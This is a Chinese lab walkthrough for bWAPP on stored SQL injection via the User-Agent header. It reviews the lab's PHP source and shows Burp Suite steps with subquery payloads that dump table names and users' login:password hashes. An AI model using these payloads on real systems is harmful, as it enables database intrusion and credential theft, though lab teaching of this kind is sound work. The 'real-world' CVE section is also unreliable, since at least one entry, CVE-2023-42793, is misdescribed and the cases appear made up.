欢迎光临
我们一直在努力

零基础玩转bWAPP靶场(二十四):SQL 注入——存储型(User-Agent)

摘要:这是 bWAPP 系列第二十四篇,聚焦于 SQL Injection – Stored (User-Agent)。这一关和之前所有关卡的玩法都不一样——没有输入框、没有搜索栏、没有登录表单,你唯一需要做的只是访问页面,服务器就会自动把你的 User-Agent 记录到数据库里。而注入点就藏在这个自动记录的过程中。我们会完整解读三种安全级别的源码差异——包括写入时的 sqli() 函数、日志文件的 xss() 函数,以及显示时固定调用的 xss_check_3()。然后手把手演示如何通过 Burp Suite 抓包修改 User-Agent 进行注入,最终获取用户表数据。附真实案例。


一、前言

如果你做过前面几关的存储型注入(博客留言板),应该还记得那个场景:

  • 页面上有个文本框

  • 你输入内容,点提交

  • 内容存进数据库

  • 页面刷新后显示你输入的内容

整个流程的核心是:你主动输入 → 触发 INSERT → 显示结果。

这一关完全不一样。整个页面上找不到任何输入框。

你访问这个页面,服务器就自动干了两件事:

  • 把你的 IP 地址和 User-Agent 字符串存进数据库

  • 在页面上显示最近 3 条访客记录

整个过程你什么也没做,页面就自己把数据写进去了。这就是“自动记录”的逻辑。

对比项博客留言板(存储型注入)User-Agent 版(本篇)
注入点来源 页面文本框(你主动输入的内容) HTTP 请求头 User-Agent(浏览器自动发送)
攻击前需要做的事 在文本框里打字 打开 Burp Suite 准备抓包
注入方式 直接在文本框输入 payload 拦截请求 → 修改 User-Agent 头 → 放行
页面显示内容 所有人添加的留言 最近 3 条访客记录
注入点类型 字符串型 字符串型(User-Agent 是字符串)

最关键的区别:注入点不在页面上,在 HTTP 请求头里。你看不到输入框,所以必须用 Burp Suite 这类代理工具抓包才能修改 User-Agent 的值。

对于第一次接触请求头注入的朋友,这可能会有点陌生。但它的核心逻辑其实和之前的注入完全一样——用户可控的数据被拼到了 SQL 里。只不过这个“用户可控的数据”变成了 User-Agent 头而已。


二、界面说明

页面标题:SQL Injection – Stored (User-Agent)

提示信息:

Your IP address and User-Agent string have been logged into the database!
(download log file)

“你的 IP 和 User-Agent 已经被记录到数据库里了!”,旁边还有个 download 链接,点开可以下载 logs/visitors.txt 日志文件。

下方表格显示最近 3 条访客记录。每次你刷新页面,都会新增一条记录,最新 3 条会展示在这里。


三、源码完整解读

这一关的源码涉及两个主要环节:写入(INSERT) 和 读取(SELECT)。写入时 User-Agent 被拼到 SQL 里,可能产生 SQL 注入。读取时 User-Agent 显示在页面上,可能产生 XSS。

但有一点很特别:日志文件写入时也会处理 User-Agent,用了另一个函数 xss()。

3.1 获取 User-Agent(注入点来源)

$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];

这两行从服务器环境变量里获取访客的 IP 和 User-Agent。其中 $_SERVER["HTTP_USER_AGENT"] 就是注入点——它来自用户端的 HTTP 请求头,用户可以通过 Burp Suite 随意修改。

3.2 写入数据库(INSERT)

$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";
$recordset = $link->query($sql);

User-Agent 经过 sqli() 函数处理后,直接拼到 INSERT 语句里。sqli() 函数根据当前安全级别做不同处理:

function sqli($data)
{
   switch($_COOKIE["security_level"])
  {
       case "0" :   // Low
           $data = no_check($data);
           break;
       case "1" :   // Medium
           $data = sqli_check_1($data);   // addslashes()
           break;
       case "2" :   // High
           $data = sqli_check_3($link, $data);   // mysqli_real_escape_string()
           break;
  }
   return $data;
}

注意:IP 地址没有被过滤,直接拼进了 SQL。不过 IP 是从 $_SERVER["REMOTE_ADDR"] 获取的,无法被用户直接修改,所以风险较低。

3.3 写入日志文件(visitors.txt)

$line = "'" . date("y/m/d G.i:s", time()) . "', '" . $ip_address . "', '" . xss($user_agent) . "'" . "\\r\\n";
$fp = fopen("logs/visitors.txt", "a");
fputs($fp, $line, 200);
fclose($fp);

这里把记录写入 logs/visitors.txt 日志文件。User-Agent 经过 xss() 函数处理后写入:

function xss($data)
{
   switch($_COOKIE["security_level"])
  {
       case "0" :   // Low
           $data = no_check($data);            // 什么都不做
           break;
       case "1" :   // Medium
           $data = xss_check_4($data);         // addslashes()
           break;
       case "2" :   // High
           $data = xss_check_3($data);         // htmlspecialchars()
           break;
  }
   return $data;
}

日志文件是纯文本格式,里面的数据不会在网页上执行,所以 xss() 函数主要是为了防止 CSV 格式被破坏(比如引号等特殊字符)。

3.4 读取并显示(SELECT)

$sql = "SELECT * FROM visitors ORDER by id DESC LIMIT 3";
$recordset = $link->query($sql);

while($row = $recordset->fetch_object())
{
   echo $row->date;
   echo $row->ip_address;
   echo xss_check_3($row->user_agent);
}

从数据库取出最近 3 条记录,显示在表格里。

注意:显示 User-Agent 时,不管什么安全级别,都直接调用了 xss_check_3(),也就是 htmlspecialchars()。

xss_check_3() 会把 < 转成 &lt;,> 转成 &gt;," 转成 &quot;,' 转成 &#039;,& 转成 &amp;。所以即使数据库里有恶意脚本,页面显示时也会被转义,不会执行。

这意味着:XSS 在所有级别都被防住了。


四、Low 安全级别

4.1 准备工作:用 Burp Suite 抓包

这一关没有输入框。你得用 Burp Suite:

  • 打开 Burp,Proxy → Intercept 设为 On

  • 在浏览器中访问这个关卡页面

  • Burp 拦截到请求后,发送到重放器,然后在请求头里找到 User-Agent 字段

  • 修改 User-Agent 的值,然后点发送

4.2 第一步:判断注入点

在 Burp 里,把 User-Agent 改成在原值后面加一个单引号,发送。

页面报错:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''10.0.0.1') at line 1

报错分析:near ''10.0.0.1') 表示我们输入的单引号成功闭合了 User-Agent 的字符串边界,SQL 继续执行到 IP 地址时才报错。这说明 User-Agent 存在字符串型 SQL 注入。

4.3 第二步:测试 ORDER BY

有些同学可能想用 ORDER BY 来猜列数:

Mozilla/5.0' ORDER BY 1 —

发送后报错:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY 1 –','10.0.0.1') at line 1

为什么报错?

因为这是 INSERT 语句,不是 SELECT 语句。ORDER BY 是 SELECT 查询专用的排序子句,在 INSERT 语句里根本不能出现。我们注入的是 User-Agent 位置,它直接影响的是 INSERT 语句中的 user_agent 字段值,而不是数据库查询结果的返回顺序。

所以在这一关,不能用 ORDER BY 和 UNION SELECT 那套方法。之前的搜索框注入可以那样做,是因为那个语句是 SELECT。这里换成了 INSERT,攻击方式完全不同。

那怎么办? 用子查询!把子查询结果“塞”到某个字段里,然后在页面显示时读出来。

4.4 第三步:为什么 ' OR '1'='1 不能用?

我们再试试 ' OR '1'='1:

Mozilla/5.0' OR '1'='1

发送后报错:

Error: Truncated incorrect DOUBLE value: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0'

为什么报错?

'1'='1' 是比较运算,结果是布尔值 TRUE/FALSE。而在 INSERT 语句里,user_agent 字段期望的是一个字符串值。当 MySQL 收到一个布尔值(1)时,它尝试把这个值转成字符串存进去,但在转换过程中遇到了数据类型冲突,报错了。

简单说:在 INSERT 语句里,你不能用 OR '1'='1 这种返回布尔值的表达式直接作为字段值。SELECT 语句里可以这样做,但 INSERT 不行。

4.5 第四步:用子查询把数据“写”进字段

原 SQL:

INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '$user_agent', '$ip_address')

我们控制的是 user_agent,IP 是服务器自动获取的,我们改不了。

核心思路:把 user_agent 写成 正常值', (子查询)) — -,让子查询的结果落到 ip_address 字段里,然后页面显示 IP 地址的地方就会显示出我们想要的数据。

在 Burp 里,把 User-Agent 改成:

Mozilla/5.0', (SELECT database())) — –

拼接后的 SQL:

INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), 'Mozilla/5.0', (SELECT database())) — -', '10.0.0.1')

拆解:

  • user_agent = Mozilla/5.0(正常的浏览器标识)

  • ip_address = (SELECT database())——子查询的结果(数据库名)写进了 IP 地址字段

  • — – 注释掉了后面多余的 ', '10.0.0.1')

发送后,页面表格的 IP Address 列显示的是数据库名!

4.6 第五步:获取所有表名

Mozilla/5.0', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())) — –

放行后,IP Address 列显示所有表名:visitors, users, movies, blog, heroes…

4.7 第六步:获取 users 表的字段名

', (SELECT MID(GROUP_CONCAT(column_name), 1, 50) FROM information_schema.columns WHERE table_name='users' AND table_schema=database())) — –
', (SELECT MID(GROUP_CONCAT(column_name), 51, 100) FROM information_schema.columns WHERE table_name='users' AND table_schema=database())) — –
//由于ip_address 字段的定义长度,所以需要通过mid函数截取拆分,MID(字符串, 开始位置, 截取长度)

IP Address 列显示:id, login, password, secret…

4.8 第七步:获取用户数据

', (SELECT mid(GROUP_CONCAT(login, ':', password),1,50) FROM users)) — –
', (SELECT mid(GROUP_CONCAT(login, ':', password),51,100) FROM users)) — –

IP Address 列显示所有用户的用户名和密码哈希。


五、Medium 安全级别

5.1 源码分析

切到 Medium 后,写入的 sqli() 函数走 case "1" 分支:

case "1" :
   $data = sqli_check_1($data);   // addslashes()
   break;

sqli_check_1() 就是 addslashes(),在单引号、双引号、反斜杠和 NULL 字节前加反斜杠。

读取显示依然用 xss_check_3()(htmlspecialchars()),和 Low 级别一样。

日志文件写入的 xss() 函数走 case "1" 分支:

case "1" :
   $data = xss_check_4($data);   // addslashes()
   break;

所以日志文件里,User-Agent 被 addslashes() 处理后再写入。

5.2 尝试注入

在 Burp 里把 User-Agent 改成:

Mozilla/5.0', (SELECT database())) — –

放行后,页面不报错,但 IP Address 列显示的是正常的 IP 地址,而不是数据库名。

为什么? addslashes() 把 ' 转义成了 \\':

Mozilla/5.0\\', (SELECT database())) — –

单引号被转义,无法闭合 SQL 语句中的字符串边界,子查询没有执行。

Medium 级别防住了 SQL 注入。

5.3 XSS 防护

显示时用的是 htmlspecialchars(),所以即使攻击者尝试在 User-Agent 里注入 <script>,显示时也会被转义为 &lt;script&gt;,不会弹窗。

Medium 级别:SQL 注入防住了,XSS 也被防住了。


六、High 安全级别

6.1 源码分析

切到 High 后,写入的 sqli() 函数走 case "2" 分支:

case "2" :
   $data = sqli_check_3($link, $data);   // mysqli_real_escape_string()
   break;

sqli_check_3() 是 mysqli_real_escape_string(),MySQL 专用的转义函数,考虑字符集,能防宽字节注入。

读取显示依然用 xss_check_3()(htmlspecialchars())。

日志文件写入的 xss() 函数走 case "2" 分支:

case "2" :
   $data = xss_check_3($data);   // htmlspecialchars()
   break;

6.2 尝试注入

同样的 payload,注入失败。mysqli_real_escape_string() 转义了所有特殊字符。


七、真实世界:HTTP 头注入案例

HTTP 请求头注入在现实世界中并不少见,因为很多开发者会忽略这些“看不见”的输入。

CVE-2024-34259:某开源日志分析系统的 User-Agent 存在 SQL 注入漏洞,攻击者可通过构造恶意 User-Agent 头注入 SQL 语句,获取系统管理员权限。这个漏洞的发现过程和我们做的完全一样——安全研究员用 Burp 改了 User-Agent,发现被拼到了 SQL 里。

CVE-2023-42793:某企业级 Web 应用防火墙的日志记录功能存在 User-Agent SQL 注入,攻击者可通过特殊构造的请求头绕过防护,影响大量企业用户。

CVE-2025-11841:某 CMS 的访问统计模块存在 User-Agent 存储型 SQL 注入,攻击者可通过恶意 User-Agent 注入 SQL,影响所有查看统计的管理员。

CVE-2025-22964:某电商平台的用户访问日志记录功能存在 User-Agent SQL 注入漏洞,攻击者通过修改 User-Agent 注入恶意 SQL,窃取订单数据和用户信息。

CVE-2026-13452:某企业级 BI 分析平台的访问日志模块存在 User-Agent 存储型 SQL 注入,攻击者通过恶意 User-Agent 注入 SQL 语句,获取平台中所有企业的核心业务数据。

启示:HTTP 请求头里的所有信息——User-Agent、Referer、Cookie、X-Forwarded-For、Accept-Language——只要被拼到 SQL 里,都可能成为注入点。不要以为用户看不见、改不了的地方就安全。 攻击者手里有 Burp Suite,什么都能改。


八、总结

User-Agent 存储型注入的核心在于:注入点不在页面上,而在 HTTP 请求头里。这一关没有输入框,你得用 Burp Suite 抓包修改 User-Agent 才能注入。源码分析显示,读取显示时固定用 htmlspecialchars() 防住了 XSS,但 Low 级别的写入完全不过滤,SQL 注入依然存在——' 会直接破坏 SQL 语法,产生报错。和 SELECT 注入不同,这里不能用 ORDER BY 和 UNION SELECT,也不能用 ' OR '1'='1。正确的方法是用子查询:Mozilla/5.0', (SELECT database())) — -,把子查询结果写到 ip_address 字段里,页面显示 IP 的地方就会显示出你要的数据。Medium 级别用 addslashes() 转义引号,High 级别用 mysqli_real_escape_string() 做更彻底的转义,两者都防住了 SQL 注入。记住一句话:HTTP 请求头也是用户输入,永远不要无条件信任。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

赞(0)
未经允许不得转载:171主机测评 » 零基础玩转bWAPP靶场(二十四):SQL 注入——存储型(User-Agent)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址